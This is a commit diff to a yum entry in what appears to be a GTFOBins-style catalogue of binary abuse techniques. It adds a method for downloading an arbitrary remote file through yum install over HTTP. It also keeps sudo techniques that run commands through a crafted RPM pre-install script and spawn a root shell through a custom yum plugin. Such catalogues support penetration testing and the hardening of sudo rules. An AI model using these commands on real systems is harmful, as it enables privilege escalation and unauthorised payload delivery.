add file download functionality

data/yum.json

@@ -1,14 +1,20 @@
 {
   "functions": {
+    "file-download": [
+      {
+        "description": "Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of '.rpm', the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in '/var/tmp', for example '/var/tmp/yum-root-cR0O4h/'.",
+        "code": "yum install http://[host]/[file]\n"
+      }
+    ],
     "sudo": [
       {
-        "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```",
+        "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF",
         "code": "sudo yum localinstall -y x-1.0-1.noarch.rpm\n"
       },
       {
-        "description": "Spawn interactive root shell by loading a custom plugin.\n",
+        "description": "Spawn interactive root shell by loading a custom plugin.",
         "code": "TF=$(mktemp -d)\ncat >$TF/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\ncat >$TF/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >$TF/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  os.execl('/bin/sh','/bin/sh')\nEOF\n\nsudo yum -c $TF/x --enableplugin=y\n"
       }
     ]
   }
-}
+}